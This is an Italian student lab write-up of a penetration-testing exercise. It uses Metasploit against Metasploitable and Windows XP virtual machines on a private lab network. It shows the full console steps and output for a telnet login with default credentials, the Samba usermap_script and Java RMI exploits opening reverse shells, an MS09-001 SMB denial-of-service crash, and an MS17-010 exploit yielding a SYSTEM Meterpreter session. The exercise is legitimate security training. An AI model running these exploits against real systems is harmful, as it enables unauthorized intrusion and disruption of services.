

S712

LA TRACCIA DI OGGI CONSISTEVA NELL EXPLOIT TELNET,SMB,JAVA_RMI,ED ETERNAL BLUE COMINCIAMO CON IL SERVIZIO TELNET DIGITANDO MSF CONSOLE ED IL COMANDO TELNET

```
msf6 > search auxiliary/scanner/telnet/telnet_version

Matching Modules
=====
#  Name                                     Disclosure Date  Rank  Check  Description
-  -
0  auxiliary/scanner/telnet/telnet_version  normal         No    Telnet Service Banner Detection

Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/telnet/telnet_version

msf6 > use auxiliary/s
Display all 702 possibilities? (y or n)
msf6 > search auxiliary/scanner/telnet/telnet_version

Matching Modules
=====
#  Name                                     Disclosure Date  Rank  Check  Description
-  -
0  auxiliary/scanner/telnet/telnet_version  normal         No    Telnet Service Banner Detection

Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/telnet/telnet_version

msf6 > use auxiliary/scanner/telnet/telnet_version.
msf6 auxiliary(scanner/telnet/telnet_version) > show options
```

100

```
msf5 auxiliary(00000000000000000000000000000000) > ' telnet 192.168.50.101
[*] exec: telnet 192.168.50.101

Trying 192.168.50.101 ...
Connected to 192.168.50.101.
Escape character is '^]'.

[Metasploit]

Warning: Never expose this VM to an untrusted network!

Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started

metasploitable login: msfadmin
Password:
Last login: Tue Jan 16 04:59:42 EST 2024 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
```

Il prossimo Exploit che useremo sarà samba sempre con il comando Search troveremo la directory >search,>use

```
msf6 > search multi/samba/username_script
[-] No results from search
msf6 > search multi/samba/usermap_script

Matching Modules
=====
```

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/multi/samba/usermap_script	2007-05-14	excellent	No	Samba "username map script" Command Execution

Interact with a module by name or index. For example `info 0`, `use 0` or `use exploit/multi/samba/usermap_script`

```
msf6 > use exploit/multi/samba/usermap_script
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(multi/samba/usermap_script) >
```

Ricordarsi di configurare la porta e il rhosts per poi fare exploit su meta ed infine ifconfig per vedere se l'attacco è andato a buon fine

```
View the full module info with the info, or info -d command.

msf6 exploit(multi/samba/usermap_script) > set rhosts 192.168.50.101
rhosts => 192.168.50.101
msf6 exploit(multi/samba/usermap_script) > set lport 445
lport => 445
msf6 exploit(multi/samba/usermap_script) > exploit

[*] Started reverse TCP handler on 192.168.50.100:445
[*] Command shell session 1 opened (192.168.50.100:445 -> 192.168.50.101:42453) at 2024-01-16 11:08:59 +0100

ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:39:f6:9d
          inet addr:192.168.50.101  Bcast:192.168.50.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe39:f69d/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:159 errors:0 dropped:0 overruns:0 frame:0
          TX packets:156 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:17621 (17.2 KB)  TX bytes:15190 (14.8 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:159 errors:0 dropped:0 overruns:0 frame:0
          TX packets:159 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:44137 (43.1 KB)  TX bytes:44137 (43.1 KB)
```


Il terzo exploit è quello di JAVA_RMI sempre con il tasto search>e show options

```
msf6 > search java_rmi
Matching Modules
=====
```

#	Name	Disclosure Date	Rank	Check	Description
0	auxiliary/gather/java_rmi_registry		normal	No	Java RMI Registry Interfaces Enumeration
1	exploit/multi/misc/java_rmi_server	2011-10-15	excellent	Yes	Java RMI Server Insecure Default Configuration Java Code Execution
2	auxiliary/scanner/misc/java_rmi_server	2011-10-15	normal	No	Java RMI Server Insecure Endpoint Code Execution Scanner
3	exploit/multi/browser/java_rmi_connection_impl	2010-03-31	excellent	No	Java RMIConnectionImpl Deserialization Privilege Escalation

Interact with a module by name or index. For example `info 3`, `use 3` or `use exploit/multi/browser/java_rmi_connection_impl`

```
msf6 > use exploit/multi/misc/java_rmi_server
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):
```

Name	Current Setting	Required	Description
HTTPDELAY	10	yes	Time that the HTTP Server will wait for the payload request
RHOSTS	10.10.10.10	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	1099	yes	The target port (TCP)
SRVHOST	0.0.0.0	yes	The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT	8080	yes	The local port to listen on.
SSL	false	no	Negotiate SSL for incoming connections
SSLCert		no	Path to a custom SSL certificate (default is randomly generated)
URIPATH	/	no	The URI to use for this exploit (default is random)

Settiamo l' rhosts con ip di meta per poi eseguire l'exploit ed eseguire ifconfig per vedere che è riuscito

```
File Actions Edit View Help
msf6 exploit(multi/misc/java_rmi_server) > set rhosts 192.168.50.101
rhosts => 192.168.50.101
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.50.100:4444
[*] 192.168.50.101:1099 - Using URL: http://192.168.50.100:8080/r69d0xFpyJ
[*] 192.168.50.101:1099 - Server started.
[*] 192.168.50.101:1099 - Sending RMI Header...
[*] 192.168.50.101:1099 - Sending RMI Call...
[*] 192.168.50.101:1099 - Replied to request for payload JAR
[*] Sending stage (57971 bytes) to 192.168.50.101
[*] Meterpreter session 1 opened (192.168.50.100:4444 -> 192.168.50.101:44861) at 2024-01-16 11:13:31 +0100

meterpreter > ifconfig

Interface 1
-----
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
-----
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.50.101
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe39:f69d
IPv6 Netmask : ::
```

Adesso vedremo l'attacco Dos sull'ip di Windows Xp per prima cosa cerchiamo il file per poi configurare il rhosts ed eseguire l'exploit possiamo vedere che è eseguito

```
View the full module info with the info, or info -d command.

msf6 auxiliary(dos/windows/smb/ms09_001_write) > set rhost 192.168.50.104
rhost => 192.168.50.104
msf6 auxiliary(dos/windows/smb/ms09_001_write) > exploit
[*] Running module against 192.168.50.104

Attempting to crash the remote host...
datalenlow=65535 dataoffset=65535 fillersize=72
rescue
datalenlow=55535 dataoffset=65535 fillersize=72
rescue
datalenlow=45535 dataoffset=65535 fillersize=72
rescue
datalenlow=35535 dataoffset=65535 fillersize=72
rescue
datalenlow=25535 dataoffset=65535 fillersize=72
rescue
datalenlow=15535 dataoffset=65535 fillersize=72
rescue
datalenlow=65535 dataoffset=55535 fillersize=72
rescue
datalenlow=55535 dataoffset=55535 fillersize=72
rescue
datalenlow=45535 dataoffset=55535 fillersize=72
rescue
datalenlow=35535 dataoffset=55535 fillersize=72
rescue
```

L'ultimo attacco che ho eseguito smb code execution su Windows Xp ecco la schermata finale di riuscita

```
[*] Started reverse TCP handler on 192.168.50.100:4444
[-] 192.168.50.101:445 - Rex::HostUnreachable: The host (192.168.50.101:445) was unreachable.
[*] Exploit completed, but no session was created.
msf6 exploit(windows/smb/ms17_010_psexec) > set rhosts 192.168.50.104
rhosts => 192.168.50.104
msf6 exploit(windows/smb/ms17_010_psexec) > exploit

[*] Started reverse TCP handler on 192.168.50.100:4444
[*] 192.168.50.104:445 - Target OS: Windows 5.1
[*] 192.168.50.104:445 - Filling barrel with fish... done
[*] 192.168.50.104:445 - <----- | Entering Danger Zone | ----->
[*] 192.168.50.104:445 -             [*] Preparing dynamite ...
[*] 192.168.50.104:445 -             [*] Trying stick 1 (x86)... Boom!
[*] 192.168.50.104:445 -             [+] Successfully Leaked Transaction!
[*] 192.168.50.104:445 -             [+] Successfully caught Fish-in-a-barrel
[*] 192.168.50.104:445 - <----- | Leaving Danger Zone | ----->
[*] 192.168.50.104:445 - Reading from CONNECTION struct at: 0x81b60750
[*] 192.168.50.104:445 - Built a write-what-where primitive ...
[+] 192.168.50.104:445 - Overwrite complete... SYSTEM session obtained!
[*] 192.168.50.104:445 - Selecting native target
[*] 192.168.50.104:445 - Uploading payload... ebuQTfvt.exe
[*] 192.168.50.104:445 - Created \ebuQTfvt.exe ...
[+] 192.168.50.104:445 - Service started successfully ...
[*] 192.168.50.104:445 - Deleting \ebuQTfvt.exe ...
[*] Sending stage (175686 bytes) to 192.168.50.104
[*] Meterpreter session 1 opened (192.168.50.100:4444 -> 192.168.50.104:1034) at 2024-01-16 11:28:57 +0100

meterpreter > |
```